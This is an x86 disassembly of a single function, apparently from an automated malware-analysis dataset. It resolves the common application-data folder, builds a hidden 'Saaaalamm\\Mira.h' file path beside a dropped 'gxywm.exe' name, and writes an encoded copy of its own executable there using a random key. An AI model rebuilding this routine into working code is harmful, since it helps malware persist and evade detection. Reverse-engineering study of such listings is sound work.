Function at 0x4019ea
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x44c
mov dword [ebp - 0x3d4], 0x4023e0
mov dword [ebp - 0x3d0], 0x43c534
lea eax, [ebp - 0x3cc]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401e69
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x3ec]
mov dword [esp], eax
call fcn.0040d050
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
movzx eax, byte [0x43f055]
mov byte [ebp - 0xa8], al
lea edx, [ebp - 0xa7]
mov eax, 0x7f
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], str.C:Documents_and_SettingsAll_UsersApplication_Datagxywm.exe
mov dword [esp], 0
mov dword [ebp - 0x3e8], 0xffffffff
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0xa8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43f09e
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Mira.h
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 8], 4
lea eax, [ebp - 0xa8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
call fcn.00432bb0
mov dword [esp + 8], 4
mov dword [esp + 4], str.C:Documents_and_SettingsAll_UsersApplication_Datagxywm.exe
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 3
call fcn.00432bb0
mov dword [esp + 8], 4
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 2
call fcn.004335b0
lea eax, [ebp - 0x1b8]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call fcn.0041ebe0
test al, al
jne 0x401bd4
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
call fcn.00425420
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
call fcn.00428f10
jmp 0x401b73
mov dword [esp], str.NaHaJa
call sub.msvcrt.dll_strlen
mov dword [esp + 8], eax
mov dword [esp + 4], str.NaHaJa
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call fcn.00428f10
call sub.msvcrt.dll_rand
mov dword [ebp - 0x3f0], eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x3f4], ecx
cmp dword [ebp - 0x3f4], 0
jns 0x401c2e
add dword [ebp - 0x3f4], 0xff
mov eax, dword [ebp - 0x3f4]
sar eax, 8
shl eax, 8
mov ebx, dword [ebp - 0x3f0]
sub ebx, eax
mov eax, ebx
mov byte [ebp - 0x1c], al
call sub.msvcrt.dll_rand
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
jns 0x401c71
add dword [ebp - 0x3fc], 0xff
mov eax, dword [ebp - 0x3fc]
sar eax, 8
shl eax, 8
mov edx, dword [ebp - 0x3f8]
sub edx, eax
mov eax, edx
mov byte [ebp - 0x1b], al
call sub.msvcrt.dll_rand
mov dword [ebp - 0x400], eax
mov ecx, dword [ebp - 0x400]
mov dword [ebp - 0x404], ecx
cmp dword [ebp - 0x404], 0
jns 0x401cb4
add dword [ebp - 0x404], 0xff
mov eax, dword [ebp - 0x404]
sar eax, 8
shl eax, 8
mov ebx, dword [ebp - 0x400]
sub ebx, eax
mov eax, ebx
mov byte [ebp - 0x1a], al
call sub.msvcrt.dll_rand
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jns 0x401cf7
add dword [ebp - 0x40c], 0xff
mov eax, dword [ebp - 0x40c]
sar eax, 8
shl eax, 8
mov edx, dword [ebp - 0x408]
sub edx, eax
mov eax, edx
mov byte [ebp - 0x19], al
mov dword [esp + 8], 4
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call fcn.00428f10
lea eax, [ebp - 0x2b8]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call fcn.0041ebe0
test al, al
jne 0x401e33
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call fcn.00425420
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0x414], ebx
mov eax, dword [ebp - 0x418]
mov edx, dword [ebp - 0x414]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], edx
cmp dword [ebp - 0x41c], 0
jns 0x401dbb
add dword [ebp - 0x420], 3
adc dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x420]
mov edx, dword [ebp - 0x41c]
shrd eax, edx, 2
sar edx, 2
shld edx, eax, 2
shl eax, 2
mov ecx, dword [ebp - 0x418]
mov ebx, dword [ebp - 0x414]
sub ecx, eax
sbb ebx, edx
mov eax, ecx
mov edx, ebx
lea ecx, [ebp - 0x1c]
lea eax, [ecx + eax]
movzx edx, byte [eax]
lea eax, [ebp - 0xa9]
add byte [eax], dl
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call fcn.00428f10
lea eax, [ebp - 0x28]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401d37
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call fcn.00432ac0
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call fcn.00432ac0
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
call fcn.004334c0
jmp 0x401ecc
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 2
call fcn.00433c20
jmp 0x401f18
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 3
call fcn.00433270
jmp 0x401f7a
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 0xffffffff
call fcn.00433270
lea eax, [ebp - 0x3ec]
mov dword [esp], eax
call fcn.0040d130
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret